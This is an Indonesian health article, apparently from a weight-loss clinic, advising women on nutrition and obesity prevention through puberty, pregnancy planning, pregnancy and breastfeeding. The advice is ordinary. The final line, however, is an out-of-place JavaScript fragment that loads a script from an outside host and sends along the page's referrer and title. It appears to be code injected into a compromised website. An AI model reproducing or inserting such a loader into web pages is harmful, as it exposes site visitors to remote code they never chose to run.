Siklus nutrisi merupakan tahapan perubahan pola makan seiring fase hidup manusia. Pada perempuan ada empat tahap yang perlu disiasati agar terhindar obesitas.
Masalah obesitas sebenarnya serius, tapi sering dipandang sepele oleh sebagian besar orang. Bahkan, ada anggapan bahwa tubuh gemuk sama dengan sehat dan makmur dari segi ekonomi. Banyak juga yang malas mengubah pola hidup karena sudah nyaman dengan bentuk tubuhnya.
Padahal ada alasan yang lebih besar untuk memiliki berat badan ideal selain sekadar estetika penampilan saja. Berat badan ideal membuat aktivitas lebih mudah dan kesehatan lebih terjaga sehingga kualitas hidup meningkat.
Agar terhindar dari obesitas, tim lightHOUSE Indonesia memiliki beberapa tips untuk menjaga agar pola makan tetap sehat dalam melalui berbagai fase kehidupan. Dengan memperhatikan siklus nutrisi, Anda bukan hanya memperbaiki diri, anak-anak Anda pun nantinya bisa terhindar dari obesitas.
Misalnya pada perempuan, persiapan perbaikan nutrisi untuk generasi yang lebih sehat sebaiknya dimulai sejak fase akil balig. Kemudian dilanjutkan di fase kehamilan dan menyusui. Dengan persiapan melalui tips-tips berikut, siklus nutrisi yang sehat dapat terus berkelanjutan.
Masa Akil Balig
Bukan hanya memperbaiki pola makan dan menjaga berat badan di angka normal. Ternyata mempersiapkan payudara menjadi bagian dari menjaga keberlangsungan siklus nutrisi yang sehat. Mengapa demikian?
Berdasarkan sebuah penelitian, 15% ibu yang melahirkan tidak bisa memberikan ASI pada bayinya di enam bulan pertama. Padahal, pemberian ASI eksklusif dapat mengurangi kemungkinan terjadinya obesitas pada usia anak dan remaja. ASI yang terus diberikan setelah enam bulan juga berpengaruh terhadap angka kejadian obesitas dan komposisi lemak tubuh pada anak remaja.
Tips: Perawatan payudara tidak lagi cukup hanya dilakukan saat mulai hamil. Sejak pubertas sebaiknya anak perempuan sudah diajarkan cara perawatan payudara. Payudara jangan dilihat dari sisi estetis saja. Anda harus mulai melihatnya sebagai aset yang harus dipelihara agar kelak dapat menjadi sumber nutrisi terbaik bagi anak yang lahir.
Masa Persiapan Kehamilan
Seorang perempuan yang mengalami kurang gizi saat konsepsi akan sulit memperbaiki status gizinya selama masa kehamilan. Kehamilan membuat ibu memiliki kebutuhan nutrisi lebih banyak untuk memenuhi perkembangan janin.
Bila berat badan ibu sebelum dan selama hamil tidak memadai, perkembangan janin tentunya akan terganggu. Sama halnya jika kelebihan berat badan. Kondisi ini dapat membuat kehamilan tidak sehat. Karena, kelebihan berat badan bukan berarti keseimbangan nutrisi. Padahal keseimbangan nutrisi makro penting untuk kesehatan tubuh.
Selain itu kecukupan beberapa jenis mikronurisi juga harus diperhatikan. Mikronutrisi yang paling penting bagi ibu hamil adalah zat besi dan asam folat. Kebutuhan hariannya 400 mcg untuk asam folat dan 16 mg untuk zat besi.
Tips: Bila berencana untuk hamil, penuhi kebutuhan harian zat besi dan asam folat. Paling cepat Anda baru tahu saat kehamilan mencapai usia dua minggu. Padahal tiga bulan pertama kehamilan adalah masa penting dalam perkembangan janin.
Dianjurkan agar perempuan yang ingin hamil atau baru menikah untuk mengonsumsi makanan yang kaya akan zat besi dan asam folat seperti kacang-kacangan, oatmeal, dan sayuran berwarna hijau tua.
Masa Kehamilan
Saat embrio tertanam dalam dinding rahim, perkembangannya akan menjadi dua jenis sel: Sel yang menjadi janin dan sel yang menjadi plasenta. Pada ibu yang gizinya kurang, lebih banyak sel yang menjadi plasenta dibanding yang menjadi janin. Janin yang memulai kehidupan dengan ukuran lebih kecil dari seharusnya menyebabkan terjadinya keterbatasan pertumbuhan. Hal ini dapat meningkatkan risiko BBLR.
Sebaliknya, risiko obesitas anak yang lahir dari ibu yang kelebihan berat badan lebih tinggi dibandingkan dari ibu dengan berat badan normal. Menurut pakar, metabolisme seseorang terbentuk sejak di dalam rahim.
Tips: Cukupi kebutuhan nutrisi dengan mengonsumsi makanan bergizi. Namun yang perlu diingat adalah tidak perlu berlebihan. Ungkapan yang mengatakan “makan untuk dua orang” itu tidak tepat. Makanlah sesuai kebutuhan harian dan perbanyak nutrisi yang dibutuhkan untuk perkembangan janin.
Membantu perempuan menjaga berat badan ideal selama hamil merupakan harapan terbaik untuk mencegah obesitas sebelum terlanjur. Hal sama berlaku untuk mencegah diabetes. Jika Anda dapat mengontrol secara intensif gula darah perempuan yang menderita diabetes selama kehamilannya, jumlah anak yang di kemudian hari terkena diabetes dapat berkurang.
Masa Menyusui
Anda membutuhkan 500 kalori ekstra dari kebutuhan kalori harian bila Anda sedang menyusui. Bahkan, angka tersebut sebaiknya ditambah bila Anda tergolong aktif, atau mengalami berat badan turun dengan cepat, atau menyusui lebih dari satu anak.
Periode kenaikan berat badan yang cepat (periode tumbuh kejar) merupakan hal yang biasa terjadi pada anak yang BBLR. Kenaikan berat badan yang terlalu cepat dapat mengakibatkan obesitas saat anak mencapai usia dewasa. Risiko ini dapat dikurangi dengan pemberian ASI eksklusif.
Tips: Mengonsumsi makanan dengan gizi seimbang dapat menjaga kesehatan tubuh Anda saat tengah menyusui. Kapasitas ASI pun dapat memenuhi kebutuhan bayi. Disarankan agar Anda mengonsumsi makanan yang bervariasi agar semua kebutuhan nutrisi terpenuhi.
Perbanyak konsumsi lemak tak jenuh dari minyak zaitun, kacang-kacangan, dan ikan; karbohidrat dari gandum utuh, buah, dan sayur. Bila perlu tambahkan suplemen untuk memenuhi kebutuhan harian asam folat, kalsium, dan zat besi.
Agar usaha menurunkan berat badan tidak terlalu berat, Sahabat lightHOUSE dapat mengontrol berat badan sejak kehamilan agar kenaikannya pun tidak terlalu banyak. Jika masih ragu dengan asupan kalori dan kecukupan nutrisi, tim lightHOUSE siap membantu Anda.
Bagi Sabahat lightHOUSE yang sedang hamil dan menyusui, jangan ragu untuk mendatangi klinik kami. Ikuti langkah-langkah berikut dan pastikan berat badan Anda terus terjaga demi kesehatan tubuh Anda sendiri dan si jabang bayi.
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;